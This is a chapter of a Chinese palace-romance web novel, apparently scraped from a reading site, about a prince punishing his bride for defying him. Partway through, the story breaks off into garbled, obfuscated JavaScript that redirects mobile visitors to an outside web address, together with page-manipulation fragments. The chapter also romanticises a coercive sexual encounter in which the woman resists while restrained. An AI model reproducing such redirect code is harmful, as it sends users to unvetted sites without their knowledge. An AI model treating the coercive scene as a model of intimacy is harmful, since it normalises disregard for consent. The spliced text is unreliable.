35. 巫山恨雨

作品:《替嫁王府后躺平了

    太初殿的书房。


    成煦于御案后负手而立,宽肩窄腰、风姿俊逸。


    手上握着一支羊毫玉笔,笔走游龙,画着墙边青釉玉瓶里的两朵莲花。


    其一高一低亭亭立于瓶中,尽显曼妙之态,衬得沉闷严肃的书房多了几分鲜活生气。


    萧风带着一身风雨水汽进殿跪下行礼。


    “殿下,给王妃送信的狱卒已死,经查他只有一个病弱的妻子,对此事一无所知,其家中也未搜查出线索。”


    “东郊胡同里的刺客均是亡命徒,臣查看后,可能是数月之前温国公派去江北的死士同党。”


    “臣治下不严,让贼人钻了空子,臣立刻去整肃北镇府司的所有官员兵士!”


    成煦不语,英挺的眉骨下藏着一双冰冷的眼睛,他抬起眼皮看了一眼跪在殿中的人。


    萧风从袖中掏出用手帕包裹着的碎簪,双手呈于案上,


    将王妃是如何以死相逼去追寻线索的细节,娓娓道来。


    成煦拿着玉笔的手悬于纸面,嫣红的颜料滴落在洁白的宣纸上,犹如碎簪上残留的血迹。


    他的身姿依旧笔挺,但深邃的眼眸寒芒已现,攥着玉笔的手背青筋微微凸起,指节泛白。


    “她以死相逼,你就让了?”


    萧风深吸一口气,心内揣测。


    这是在斥责自己不该让王妃以死相逼,还是让王妃出去了?


    他猜不透,又不敢让殿下等,直直地伏下身去,“微臣罪该万死!”


    成煦薄唇轻勾,扯出一个似有若无的冷笑,只是那笑意犹如湖面春冰,分毫未达锐利的眼底。


    他放下玉笔,将悉心画就的莲花图拿起来,眼神中带着厌恶,一下一下撕成碎片,宣纸撕碎的脆响,声声刺耳。


    “北镇府司的人不着急换,去看看江怀璟还活着没有,若还活着,再审一审,生死不论。


    萧风听闻,一股寒意从脊梁骨直蹿上脑门,冷汗霎时密布额头。


    这是要置江大人于死地的意思?


    萧风在嗡嗡耳鸣中抬头想向殿下再请示,但御案后已无他的身影。


    只留下一团被撕碎的宣纸,映着冰冷的烛光,凌乱地散落着。


    这一道明旨自太初殿出,不出半个时辰已传到平章台。


    成衍望着窗外风雨欲来的夜色,缓缓道:“有没有办法再救一救江大人?”


    屏风后还站着一个人,“陛下,江怀璟是一颗绝佳的棋子,才华绝然,又与王妃有别样情感,将来可以用来掣肘王爷,但是再好的棋子也只是棋子。”


    “殿下已经起疑了,此时陛下再出手救人,恐怕会引火烧身。”


    成衍沉默半晌,道:“江北案中涉及到的所有人都要处理干净,不要留下马脚。”


    “是。”


    话音刚落,天边闪过数道闪电,闷雷躲在云层后发出隐隐的怒吼,不多时,瓢泼大雨倾盆而下。


    成衍搭在窗边的手被飞溅的雨滴打湿,他仰头望着那铅灰色的苍穹,一声长叹。


    “这是上天在为我大成名臣一大哭啊。”


    -------------------------------------


    瓢泼雨水打湿了放在窗台的宝珠茉莉和瑶台牡丹,花瓣七零八落,明月探身出去关窗户。


    “开着吧,闷地慌。”


    林熙回来时身上沾着诏狱的霉湿味和血腥味,明月伺候她沐浴更衣,又给她脖颈上的伤口裹上一根红色纱巾。


    倒不是寝殿里闷,是她自己心里七上八下地吊着。


    殿下尚未发落她,犹如一把利剑悬在头顶,不知何时会落下。


    “明月,你去打听下殿下如今在哪里?”


    明月自从傍晚从王妃的寝榻上醒来,就知道自己命不久矣,整个人的惶惶不安不亚于林熙此刻。


    听到这话,“噗通”一声,跪在林熙脚边,瘪着嘴只是哭。


    “找我?”成煦眉目清朗,笑着走进来。


    林熙从绣墩上“嗖”一下弹了起来,战战兢兢地看向殿下。


    这神色好像并未生气?


    但,事出有异必为妖。


    成煦径直往床榻走去坐下,半靠着大引枕,轻轻弹了弹长衫,姿态优雅而舒展。


    林熙让殿中的人都退了出去,亲自倒了一杯热茶,是成煦平日里喜欢的狮山毛峰。


    走到他跟前跪下,双手高举过头顶,奉于殿下。


    “殿下,林熙胆大妄为,私自偷了您的通行御令去了诏狱,后又违背殿下旨意,强行去了东郊胡同。”


    “林熙知错犯错,罪加一等,请殿下责罚!”


    成煦平静的目光落在她单薄的身躯上,带着一丝毫不掩饰的寒意。


    等了良久,林熙的手臂都举酸了,他才接了那杯茶。


    “知错犯错,”成煦微微抬眸、看她的眼神不像在看一个人,而是一个物品,一个宠物,“你说孤应该怎么罚你。”


    语气中带着几分漫不经心,却又让人不寒而栗。


    林熙抬起头,看向成煦冷漠的眼眸。


    心中瞬间掀起滔天的惧意,如此似曾相识的场面,时间仿佛回到了初见的当年。


    成煦将茶盏放到一边,俯身捏住她的下巴,两人的距离骤然拉近,须臾间鼻息相闻。


    “什么样的关系,值得你这样一而再地为他奋不顾身。”


    成煦附在她的耳侧,轻柔的声调如山间的冷风般钻入林熙的耳廓。


    林熙的下巴被掐地很疼,冒出一身的冷汗。


    沐浴后穿着的杏色绢衣太轻薄,沾了冷汗后就黏在细腻的皮肉之上,看得人眸色一沉。


    可以告诉殿下自己不是林府嫡女吗?


    但那就是欺君之罪,又罪加一等,恐怕会死得更惨。


    可还能说什么,说什么殿下才会相信呢?


    成煦看着她闪烁不定的眼神,冷嗤一声,伸手一拉将人跨坐在自己身上。


    他已经不想听她说话了。


    目光如刀自上而下,一寸一寸压过皮肤,待看到脖颈间的那一抹纱巾,眉心陡然一皱!


    冰凉的指尖扯过纱巾,露出来白皙细嫩的脖子,右侧的细小伤口如美玉有瑕。


    他将纱巾缚于林熙的双眸之上,低头咬住伤口边缘,品尝一点血腥味道。


    “殿下...”滚烫的呼吸喷薄在脖颈间,伤口被撕扯出痛感。


    林熙伸手推拒,两只手却被反锁在身后。


    柔软的唇舌亲吻过她的下颌,舔舐过嘴角,强迫着掠夺、分享彼此急促的呼吸。


    窗外雷雨交加,一道闪电落下,衣冠楚楚的男人怀里坐着一个裸/露的女孩,浑身泛着细腻的粉色。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888489|157226||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >常年骑马射箭的手带着粗粗的茧子,沿着身体的曲线带起止不住的颤抖、发麻。


    起伏之间,林熙疼痛又愉悦的眼泪浸湿了纱巾。


    成煦便去吻那将落未落的泪,含着她的耳垂,缠绵道:“阿熙,下雨了。”


    她啜泣着想要拥抱身前的人,想要寻求一点慰藉。


    但殿下像个残忍的君王,冷漠、狠厉、控制欲强、不容抗拒也不容接近。


    真是个心碎又荒唐的良夜。


    再醒来已经是次日的午后,阳光晴暖,寝殿里散发着茉莉与牡丹的清香。


    她略微动一动,就僵住了。


    啧。


    浑身上下就没有不疼的地方。


    明月见她醒了,撩起床帐挂到金钩上,“王妃,可要沐浴?”


    林熙点了点头,待入了浴室,整个人沉在温热的水中,才看到自己手上、腰上、脚踝上攥出来的红痕。


    林熙“嘶”了一声,感叹:真是个表面清心寡欲的伪君子,吃相又凶又霸道。


    昨晚她迷迷糊糊昏过去前,好似听到殿下在问。


    “如果我和江怀璟都要死了,你只能救一个,你救谁。”


    她回答了吗?


    回答了什么?


    真是净问些让人想死的问题。


    “殿下,王妃在沐浴。”外头隐约传来明月的声音,林熙浮出水面,抬头看去。


    成煦身着石青色圆领常服,衣摆上还绣着几杆绿竹,头戴金冠,一副清风朗月的翩翩公子模样。


    见他举步走来,林熙心里一慌,畏惧地想要躲到水下。


    但想起昨晚成煦的眼神,又生生僵硬在那不敢动弹。


    “怎么了?”成煦坐在一侧,伸手撩起一点水,淋在林熙瑟缩的肩膀上,“吓到了?”


    林熙一双眼睛跟水洗过般,清透又纯粹,不像昨晚,盛满了畏惧与伤心。


    而那些畏惧与伤心分外刺痛他,所以不管她叫疼、哭泣,他通通都不想理会,反而只想更用力一点、更近一点。


    待做到瞳孔失神,只能软软地缠着他、吸着他,才是她最好看的样子。


    成煦的目光落到她的脖颈上,泛红的掐痕还未褪去。


    “晚间让太医来瞧瞧。”


    林熙乖巧地点点头,心里还在想着昨天的事,殿下这是原谅她了吗?


    她昨晚带回来的物证和人证,能帮徐家哥哥脱罪了吗?


    成煦递给她一枚小巧的海棠样式的金牌,在氤氲的热气里摇摇晃晃。


    “这是你的牙牌,以后想出宫,凭这个就可以。”


    他带着温和的笑意,像是真心要赋予她这项自由。


    林熙犹疑,没有伸手去接。


    “不要吗?”


    林熙摇摇头,这一定又是一个坑,若是接了大概真要把命搭进去。


    “我用不着这个。”


    成煦虚伪的笑容掩去,眸中闪过一丝疯狂与偏执。


    “这是你自己选的,林熙,”成煦冷冽的声音穿破温热弥漫的潮雾,将林熙钉死在原地。


    “我若杀了江怀璟,你会恨我。”


    “可你也只能恨我,留在我身边,全心全意地恨我。”


    那些证据还是无法救下哥哥吗?


    “明日带你去看一场戏,让你知道你的奋不顾身是如何置江大人于死地。”